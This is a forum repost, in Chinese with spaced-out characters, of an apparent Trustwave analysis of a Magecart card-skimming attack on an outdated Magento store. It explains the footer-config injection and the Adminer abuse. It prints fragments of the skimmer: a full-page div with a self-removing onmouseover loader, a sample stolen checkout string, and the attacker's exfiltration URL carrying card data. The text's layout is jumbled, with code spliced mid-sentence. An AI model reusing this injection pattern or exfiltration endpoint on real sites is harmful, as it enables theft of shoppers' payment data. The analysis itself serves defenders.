搜索

[28412] 2020-07-14_Magecart恶意代码注入Magento全局配置

文档创建者：s7ckTeam
浏览次数：239
最后更新：2025-01-19
2020-07-14_Magecart恶意代码注入Magento全局配置 M a g e c a r t 恶 意 代 码 注 入 M a g e n t o 全 局 配 置 T r u s t w a v e   O t s 安 全   2 0 2 0 - 0 7 - 1 4 M a g e n t o   （ 麦 进 斗 ）   是 一 套 专 业 开 源 的 电 子 商 务 系 统 。 M a g e n t o 设 计 得 非 常 灵 活 ， 具 有 模 块 化 架 构 体 系 和 丰 富 的 功 能 。 易 于 与 第 三 方 应 用 系 统 无 缝 集 成 。 其 面 向 企 业 级 应 用 ， 可 处 理 各 方 面 的 需 求 ， 以 及 建 设 一 个 多 种 用 途 和 适 用 面 的 电 子 商 务 网 站 。 2 0 2 0 年 6 月 开 始 ， 我 们 联 系 了 M a g e n t o 网 站 泄 露 事 件 ， 该 事 件 导 致 信 用 卡 号 码 泄 露 。 对 该 网 站 进 行 了 彻 底 的 分 析 ， 确 定 该 网 页 的 页 脚 中 添 加 了 恶 意 代 码 。 图 1 . 恶 意 M a g e n t o 页 面 的 页 脚 部 分 中 注 入 的 恶 意 脚 本   我 们 发 现 ， M a g e n t o 的 缓 存 C O N F I G _ G L O B A L _ S T O R E S _ D E F A U L T 文 件 也 包 含 相 同 的 恶 意 代 码 。   图 2 . 位 于 M a g e n t o 安 装 目 录 /   v a r   /   c a c h e 中 的 M a g e n t o 配 置 也 被 感 染   在 受 感 染 的 W e b 服 务 器 上 ， 我 们 还 发 现 了 一 个 A d m i n e r   P H P 文 件 - 一 种 易 于 使 用 的 工 具 ， 用 于 远 程 管 理 S Q L 数 据 库 （ 例 如 M y S Q L ） 。 稍 后 我 们 将 再 次 讨 论 攻 击 者 为 何 使 用 此 工 具 。 恶 意 代 码 分 析 恶 意 代 码 分 析 在 继 续 研 究 恶 意 代 码 如 何 进 入 受 感 染 网 页 的 页 脚 之 前 ， 让 我 们 首 先 了 解 一 下 恶 意 代 码 的 作 用 。 恶 意 J a v a S c r i p t 代 码 是 一 个 很 长 的 字 符 串 ， 以 以 下 代 码 开 头 封 装 在 < d i v >   H T M L 元 素 标 记 中 ： 然 后 ， 使 用 “ 样 式 ” 属 性 定 义 < d i v > 元 素 的 位 置 ， 宽 度 为 1 0 0 ％ ， 高 度 为 1 0 0 ％ 。 这 意 味 着 该 元 素 覆 盖 了 整 个 页 面 的 范 围 ， 并 且 一 旦 鼠 标 移 到 网 页 上 ， 它 将 执 行 恶 意 的 J a v a S c r i p t 。 在 字 符 串 的 结 尾 ， 看 到 ： 以 下 是 此 代 码 的 细 分 ： 其 中 ： g e t E l e m e n t B y I d   - 这 个 方 法 返 回 从 元 素 “ 的 信 息 q w e 1 2 3 ”   p a r e n t N o d e . r e m o v e C h i l d   - 返 回 的 文 档 对 象 模 型 （ D O M ） 树 中 删 除 的 子 节 点 ， 但 仍 保 留 在 内 存 中 ， 可 以 将 在 以 后 使 用 在 执 行 主 要 的 恶 意 J a v a S c r i p t 或 尝 试 通 过 类 似 浏 览 器 的 开 发 人 员 模 式 对 代 码 进 行 实 时 分 析 之 后 ， 通 过 删 除 包 含 恶 意 J a v a S c r i p t 的 整 个 < d i v > 元 素 ， 可 以 使 用 这 段 代 < d i v   s t y l e = " p o s i t i o n : f i x e d ; t o p : 0 ; l e f t : 0 ; w i d t h : 1 0 0 % ; h e i g h t :   a u t o   ! i m p o r t a n t ; "   o n m o u s e o v e r = " ( f u n c t i o n   ( ) { M A L I C I O U S   J A V A S C R I P T   T R U N C A T E D } . . ' v a r   d 1 ; d 1   =   e v a l ( ' d o c '   + ' u m e n t ' ) ; d 1 . g e t E l e m e n t B y I d ( ' q w e 1 2 3 ' ) . p a r e n t N o d e . r e m o v e C h i l d ( d 1 . g e t E l e m e n t B y I d ( ' q w e 1 2 3 ' ) ) "   i d = " q w e 1 2 3 " ' v a r   d 1 ; d 1   =   e v a l ( ' d o c u m e n t ' ) ; d 1 . g e t E l e m e n t B y I d ( ' q w e 1 2 3 ' ) . p a r e n t N o d e . r e m o v e C h i l d ( d 1 . g e t E l e m e n t B y I d ( ' q w e 1 2 3 ' ) )
码 隐 藏 自 身 。 其 余 大 部 分 代 码 被 高 度 混 淆 。 但 是 在 对 代 码 进 行 混 淆 和 美 化 之 后 ， 我 们 可 以 清 楚 地 看 到 J a v a S c r i p t 的 功 能 。 图 3 . 封 装 在 < D I V > 元 素 内 的 去 混 淆 的 J a v a s c r i p t   图 3 中 显 示 的 反 混 淆 代 码 监 视 H T M L 元 素 ， 包 括 ：       i n p u t ，     s e l e c t ，     f o r m ，     b u t t o n 。 此 代 码 非 常 危 险 ， 特 别 是 当 注 入 到 网 上 商 店 的 结 帐 页 面 时 。 一 旦 客 户 在 页 面 中 输 入 信 息 并 单 击 其 他 任 何 位 置 ， 它 就 会 开 始 从 H T M L 表 单 中 迭 代 所 有 受 监 视 的 元 素 以 供 用 户 输 入 。 然 后 将 收 集 的 数 据 连 接 在 一 起 以 形 成 一 串 U R L 编 码 的 参 数 格 式 。 例 如 ： 还 使 用 L u h n 算 法 检 查 和 验 证 信 用 卡 数 据 ， 并 将 其 作 为 参 数 变 量 “   c c ” 附 加 在 字 符 串 中 。 从 这 一 点 开 始 ， 收 集 的 数 据 将 通 过 H T T P   G E T 参 数 传 输 到 通 过 隧 道 传 输 的 攻 击 者 主 机 。 页 脚 感 染 页 脚 感 染 那 么 ， 如 何 将 J a v a S c r i p t 注 入 网 页 的 页 脚 中 ？ 简 短 的 答 案 ， M a g e n t o 的 全 局 配 置 。 M a g e n t o 的 全 局 配 置 在 使 用 M a g e n t o 框 架 的 在 线 商 店 中 起 着 重 要 作 用 。 M a g e n t o 管 理 员 在 这 里 配 置 框 架 中 的 不 同 范 围 ， 包 括 目 录 ， 报 告 ， 客 户 配 置 ， W e b 主 题 / 设 计 等 。 但 是 ， 在 网 络 服 务 器 受 到 威 胁 之 后 ， 可 以 轻 松 操 纵 此 配 置 下 面 的 屏 幕 快 照 显 示 了 M a g e n t o 的 设 计 配 置 页 面 ， 管 理 员 可 以 在 其 中 设 置 网 页 的 页 脚 部 分 。 页 脚 专 门 定 义 了 版 权 声 明 。 但 是 我 们 也 可 以 在 该 字 段 中 添 加 < s c r i p t > 元 素 。 图 4 .   M a g e n t o 的 设 计 配 置 页 面   一 旦 这 被 M a g e n t o 缓 存 ， 包 括 脚 本 的 版 权 声 明 就 会 注 入 到 M a g e n t o 网 站 的 每 个 页 面 ： b i l l i n g   [ a d d r e s s _ i d ]   =   3 4 0 9 8 2 ＆ b i l l i n g   [ c r e a t e _ n e w _ a c c o u n t ]   =   1 ％ 2 F ＆ b i l l i n g   [ c o u n t r y _ i d ]   =   U n i t e d ％ 2 0 S t a t e s   ＆ b i l l i n g   [ s a v e _ i n _ a d d r e s s _ b o o k ]   =   1 ＆ b i l l i n g   [ u s e _ f o r _ s h i p p i n g ]   =   1 ＆ b i l l i n g   [ u s e _ f o r _ s h i p p i n g ]   =   0 ＆ s h i p p i n g   [ c o u n t r y _ i d ]   =   U n i t e d _ ％ 2 0 S t a t e s ＆ s h i p p i n g   [ c p   ＆ p a y m e n t   [ m e t h o d ]   =   a u t h o r i z e n e t ＆ p a y m e n t   [ c c _ t y p e ]   =   V i s a ＆ p a y m e n t   [ c c _ n u m b e r ]   =   4 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1   ＆ n e w s l e t t e r   =   1 ＆ g r a n d _ t o t a l _ v a l u e   =   7 7 . 9 8 ＆ c a r t   [ 1 6 2 0 0 0 ]   [ q t y ]   =   1 ＆ r e m o v e   =   0 ＆ c c   =   4 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 h t t p s : / / c o n g o l o . p r o / f o l d e r / i p / z x c . p h p ? r = r   { r a n d o m } ＆ { 泄 露 的 数 据 } ＆ c c   =   { 信 用 卡 号 }
图 5 . 包 括 我 们 添 加 的 < s c r i p t > 元 素 的 版 权 声 明 被 注 入 网 站 的 每 个 页 面   前 面 我 们 提 到 ， 攻 击 者 在 受 感 染 的 W e b 服 务 器 上 保 留 了 一 个 名 为 A d m i n e r 的 S Q L 管 理 工 具 。 攻 击 者 在 服 务 器 中 使 用 了 a d m i n e r . p h p ， 并 将 其 指 向 攻 击 者 自 己 的 M y S Q L 数 据 库 。 该 工 具 具 有 一 个 漏 洞 ， 该 漏 洞 允 许 使 用 攻 击 者 的 数 据 库 凭 据 绕 过 a d m i n e r . p h p 的 登 录 屏 幕 。 登 录 后 ， 攻 击 者 可 以 访 问 受 感 染 W e b 服 务 器 的 本 地 数 据 库 ， 而 不 是 攻 击 者 的 数 据 库 。 然 后 ， 攻 击 者 利 用 从 数 据 库 中 获 得 的 信 息 来 访 问 M a g e n t o 网 站 的 管 理 部 分 。 然 后 ， 攻 击 者 可 能 会 直 接 从 数 据 库 访 问 和 修 改 M a g e n t o 配 置 。 图 6 . 使 用 A d m i n e r 编 辑 M a g e n t o 配 置   W e b 服 务 器 如 何 受 到 危 害 仍 在 调 查 中 。 但 是 通 过 查 看 a c c e s s . l o g ， 我 们 发 现 其 他 人 在 攻 击 之 前 和 之 后 都 在 扫 描 a d m i n e r . p h p 的 迭 代 。 另 外 ， 客 户 使 用 的 是 M a g e n t o 的 旧 版 本 （ 特 别 是 1 . 9 . 4 . 3 版 ） ， 并 且 有 十 几 个 已 知 的 安 全 漏 洞 会 影 响 此 版 本 。 结 论 结 论 这 种 攻 击 表 明 ， M a g e n t o 系 统 可 以 很 容 易 受 到 危 害 ， 可 以 将 恶 意 J a v a S c r i p t 注 入 网 页 。 防 止 M a g e c a r t 的 唯 一 可 靠 方 法 是 检 测 ， 修 复 和 强 化 网 站 的 安 全 性 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理